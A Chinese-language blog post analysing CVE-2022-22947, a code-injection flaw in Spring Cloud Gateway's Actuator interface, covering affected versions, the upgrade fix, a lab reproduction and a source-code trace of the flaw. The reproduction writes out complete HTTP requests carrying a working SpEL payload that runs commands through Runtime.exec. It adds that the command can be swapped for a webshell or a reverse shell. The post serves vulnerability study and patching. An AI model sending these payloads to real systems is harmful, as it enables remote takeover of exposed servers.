前言
个人博客地址,更多渗透知识 => https://www.zwnblog.com
漏洞等级:高危
3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为CVE-2022-22947
Spring官方发布
漏洞描述
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
影响范围
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
漏洞利用前置条件
除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);
Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
# 默认为
truemanagement.endpoint.gateway.enabled=true
# 以逗号分隔的一系列值,默认为 health# 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway
解决方案
- 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
- 或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。
复现
1、引入Spring Cloud GateWay依赖
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
2、引入 Spring Boot Actuator依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
3、修改配置文件
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
Actuator操作Gateway接口列表
http://host:port/actuator/gateway/id
id | HTTP Method | 描述 |
---|---|---|
globalfilters | GET | 返回全局Filter列表 |
routefilters | GET | 每个路由的filter |
routes | GET | 路由列表 |
routes/{id} | GET | 指定路由的信息 |
routes/{id} | POST | 创建路由 |
refresh | POST | 刷新路由缓存 |
routes/{id} | DELETE | 删除路由 |
BP工具
可以先在浏览器抓包获取报文信息
打开BP工具Repeater模块,并粘入一下内容,创建路由
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "wuyaaq",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T
(java.lang.Runtime).getRuntime().exec(new
String[]{\"whoami\"}).getInputStream()))}"
}
}
],
"uri": "http://example.com"
}
执行,服务端返回200,且创建成功
主动刷新路由
粘入一下内容并且发送
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
a=1
服务器返回刷新成功
通过id获取路由
粘贴入一下内容发送,查看服务端响应信息,获取代码执行结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101
Firefox/97.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0. 8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
总结
因为指令传入的是whoami,所以返回了用户信息,此处可以更换为任意指令(如生成一句话木马,反弹shell连接等)从而造成远程代码执行漏洞
原理分析
为什么添加过滤器(路由)会导致代码执行?
流程
- 开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
- 可以通过/gateway/routes/{id_route_to_create} 创建路由
- 通过/actuator/gateway/refresh刷新路由
- 当路由带有恶意的Filter,里面的spEL表达式会被执行
payload分析
#{
new String(T(org.springframework.util.StreamUtils)
.copyToByteArray(T(java.lang.Runtime)
.getRuntime()
.exec(new String[]{\"whoami\"})
.getInputStream()))
}
通过.getInputStream()得到执行结果,再通过.copyToByteArray得到字符数组,再通过String对象转为字符串
源码分析 ——从刷新到获取
RouteLocator
RouteLocator是路由定位器,是用来获取路由的方法。其实现该接口的主要组成类有多种,但本次分析漏洞只需要重点了解一下两种:
- RouteDefinitionRouteLocator:基于路由定义的定位器,也是RouteLocator的主要实现类
- CachingRouteLocator 基于缓存的路由定位器
- CompositeRouteLocator:基于组合方式的路由定位器
RouteDefinitionRouteLocator
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator是RouteLocator的一个实现类,其主要从 RouteDefinitionLocator会通过getRouteDefinitions()方法来获取 RouteDefinition,并将其转换成Route。
再从代码层面来仔细看看这个转换的过程
- getRoutes方法首先通过this.routeDefinitionLocator.getRouteDefinitions()获取到了所有的RouteDefinition
- 之后再通过this::convertToRoute方法将每个RouteDefinition转换成Route
CachingRouteLocator
org.springframework.cloud.gateway.route.CachingRouteLocator,缓存路由的RouteLocator实现
该RouteLocator实现了ApplicationListener接口,主要是监听RefreshRoutesEvent事件。
CompositeRouoteLocator
这个上面有粗略介绍过,这是一个组合的路由定位器,其主要的方式是把RouteDefinitionRouteLocator和自定义的Route Locator作为自己的delegates,在需要取所有Route的时候,就会委派自己的delegates去取,然后将其结果合并返回。
RefreshRoutesEvent
这个就不过多解释了,就是一个刷新路由的事件。
获取路由则调用了RouteLocator的getRoutes方法
源码分析总结
用最后的话分析就是CachingRouteLocator它包装了CompositeRouteLocator,而CompositeRouteLocator则组合了RouteDefinitionRouteLocator。而CachingRouteLocator集成了RefreshRoutesEvent接口,所以之后的刷新请求就会走到CachingRouteLocator中处理。
漏洞分析
先找到org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint类,该类是Actuator访问的Controller处理器
GatewayControllerEndpoint类集成了org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint类,而该类里面,有一个定义好的Post请求,可以发送RefreshRoutesEvent刷新路由。
其发送的就是一个RefreshRouteEvent事件。
之后流程会进入到org.springframework.context.support.AbstractApplicationContext#publishEvent中处理
之后RefreshRouteEvent会按照正常流程进入multicastEvent中,这里我直接跟到图中显示的doInvokeListener方法中
这里就会直接进入到org.springframework.cloud.gateway.route.CachingRouteLocator#onApplicationEvent中
而在onApplicationEvent方法中又会调用this.fetch()
之后程序会进入org.springframework.cloud.gateway.route.CompositeRouteLocator#getRoutes
这里又继续调用了RouteDefinitionRouteLocator#getRoutes方法,就到了我们刚才分析源码的时候提到过的流程,在这里会调用getRouteDefinitions()获取RouteDefinition来转换成Route。
这里进入convertToRoute方法后重点关注RouteDefinitionRouteLocator#getFilters方法
这里会调用this.loadGatewayFilters()中通过GatewayFilterFactory来创建一个Filter
但是在创建Filter之前,也就是封装configuration的时候,在bind的信息的时候,我们的Spel表达式执行了
之后就进入org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$1#normalize方法
流程走到org.springframework.expression.spel.standard.SpelExpression.getValue中
而调用getValue传入的entryValue参数内容就是恶意的Spel表达式
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
同理,在获取路由时也会产生上诉问题。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/206327.html